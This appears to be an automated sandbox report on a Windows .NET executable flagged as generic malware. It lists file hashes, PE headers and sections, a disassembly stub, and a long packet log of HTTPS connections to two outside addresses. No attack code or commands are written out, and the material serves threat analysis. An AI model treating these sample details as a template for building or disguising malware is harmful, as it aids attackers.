Preview:	.././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././....././....././. .C.o.p.y.r.i.g.h.t. .(.C.). .2.0.0.0. .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....././....././. .M.o.d.u.l.e. .N.a.m.e.:....././. .W.m.i.A.p.R.p.l....././....././. .A.b.s.t.r.a.c.t.:....././....././. .D.e.s.c.r.i.b.e.s. .a.l.l. .t.h.e. .c.o.u.n.t.e.r.s. .s.u.p.p.o.r.t.e.d. .v.i.a. .W.M.I. .H.i.-.P.e.r.f.o.r.m.a.n.c.e. .p.r.o.v.i.d.e.r.s....././....././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.............[.i.n.f.o.].....d.r.i.v.e.r.n.a.m.e.=.W.m.i.A.p.R.p.l.....s.y.m.b.o.l.f.i.l.e.=.W.m.i.A.p.R.p.l...h.........[.l.a.n.g.u.a.g.e.s.].....0.0.9.=.E.n.g.l.i.s.h.....0.0.9.=.E.n.g.l.i.s.h.........[.o.b.j.e.c.t.s.].....W.M.I._.O.b.j.e.c.t.s._.0.0.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.57409878988691
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe
File size:	38'400 bytes
MD5:	1547e40089b1b06c2e27658c4f478466
SHA1:	b531e9eaeb0f3e606635623d0775b94e2da113a9
SHA256:	62133bf304c2143af08217ea5caa1102009e3f70682896ae2997b232f212ec51
SHA512:	84dadeb9adbd6d0d48924759a507f30410f6719b0e1e436be5cbea579417de7e31a13725829a1d5709b2cbb4edebbb060cd8053e084f2c1e475f0d43232e3922
SSDEEP:	768:DBjFST01npxFX4ZQXJXbOfq1GkgqskxSgsqG9br:D1XpxFX4ZQlbOmgoSgsqWr
TLSH:	27032A18A77AC01BD1AFCE7928D9063156319172261FF7A30EC856EFDA937404A07BE3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{b............................N.... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40ab4e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x627B0FDD [Wed May 11 01:22:37 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xaafc	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x488	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x8b54	0x8c00	291b9509545054b83d9500079d4081af	False	0.46414620535714285	data	5.716835242247517	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x488	0x600	ba5c03d32cd0108f9297397c43d2a9c2	False	0.349609375	data	3.41440845450297	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe000	0xc	0x200	7e0315074e9e090673891d2da6a565d3	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc0a0	0x24c	data			0.4642857142857143
RT_MANIFEST	0xc2f0	0x193	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5732009925558312

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 14, 2024 23:41:31.535439968 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:31.535485983 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:31.535609007 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:31.545629978 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:31.545656919 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.196645975 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.196748972 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.200697899 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.200721025 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.201013088 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.213301897 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.256510019 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.605201960 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.605392933 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.605472088 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.605487108 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.605731964 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.606056929 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.606204033 CEST	443	49727	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.606262922 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.670556068 CEST	49727	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.672379017 CEST	49728	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.672460079 CEST	443	49728	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:32.672553062 CEST	49728	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.673012972 CEST	49728	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:32.673053026 CEST	443	49728	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:33.317362070 CEST	443	49728	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:33.319813013 CEST	49728	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:33.319858074 CEST	443	49728	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:34.026732922 CEST	443	49728	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:34.026842117 CEST	443	49728	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:34.026892900 CEST	49728	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:34.026905060 CEST	443	49728	140.82.121.3	192.168.2.5
Jul 14, 2024 23:41:34.026948929 CEST	49728	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:34.027337074 CEST	49728	443	192.168.2.5	140.82.121.3
Jul 14, 2024 23:41:34.036294937 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.036328077 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.036402941 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.036972046 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.036984921 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.518538952 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.518688917 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.520766020 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.520777941 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.521106958 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.522325993 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.564516068 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.814327955 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.814414978 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.814445972 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.814471006 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.814481974 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.814492941 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.814524889 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.814554930 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.814595938 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.814608097 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.815280914 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.815309048 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.815325022 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.815330029 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.815371037 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.815376043 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.830981970 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.831058025 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.831064939 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.873739958 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.905760050 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.905770063 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.905797005 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.905807018 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.905818939 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.905839920 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.905846119 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.905884027 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.905924082 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.907752991 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.907793045 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.907824039 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.907829046 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.907852888 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.907869101 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.993827105 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.993853092 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.993918896 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.993937016 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.993979931 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.994961023 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.994980097 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.995033026 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.995038033 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.995064020 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.995084047 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.995955944 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.996023893 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.997699022 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.997728109 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.997756004 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.997761011 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:34.997793913 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:34.997811079 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.052355051 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.052401066 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.052443981 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.052453041 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.052509069 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.082098007 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.082123041 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.082190037 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.082197905 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.082241058 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.083051920 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.083070993 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.083118916 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.083122969 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.083149910 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.083169937 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.083981991 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.083997965 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.084054947 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.084059954 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.084081888 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.084103107 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.084418058 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.084455013 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.084491014 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.084494114 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.084506035 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.084532022 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.085380077 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.085396051 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.085436106 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.085439920 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.085469007 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.085489035 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.086410999 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.086427927 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.086473942 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.086478949 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.086514950 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.087076902 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.087091923 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.087152004 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.087156057 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.087182045 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.087212086 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.170522928 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.170545101 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.170623064 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.170641899 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.170685053 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.170974970 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.170989990 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.171037912 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.171042919 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.171067953 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.171082973 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.171758890 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.171791077 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.171818018 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.171823025 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.171880007 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.171880007 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.172269106 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.172286034 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.172338963 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.172344923 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.172393084 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.172760963 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.172780037 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.172826052 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.172831059 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.172866106 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.175930023 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.175945997 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.175996065 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.176006079 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.176031113 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.176054001 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.176548958 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.176558018 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.176642895 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.176647902 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.176690102 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.229543924 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.229564905 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.229633093 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.229646921 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.229685068 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.259109020 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.259134054 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.259207010 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.259217978 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.259258032 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.259592056 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.259612083 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.259655952 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.259660959 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.259686947 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.259706020 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.260106087 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.260126114 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.260175943 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.260185003 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.260212898 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.260227919 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.260756969 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.260775089 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.260833025 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.260837078 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.260874033 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.261337042 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.261353970 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.261396885 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.261400938 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.261436939 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.261507988 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.261846066 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.261862993 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.261912107 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.261915922 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.261953115 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.262692928 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.262708902 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.262764931 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.262768984 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.262806892 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.317976952 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.317992926 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.318084955 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.318105936 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.318145990 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.348195076 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.348208904 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.348301888 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.348310947 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.348319054 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.348331928 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.348356009 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.348391056 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.348395109 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.348432064 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:35.348980904 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:35.348995924 CEST	443	49729	185.199.109.133	192.168.2.5
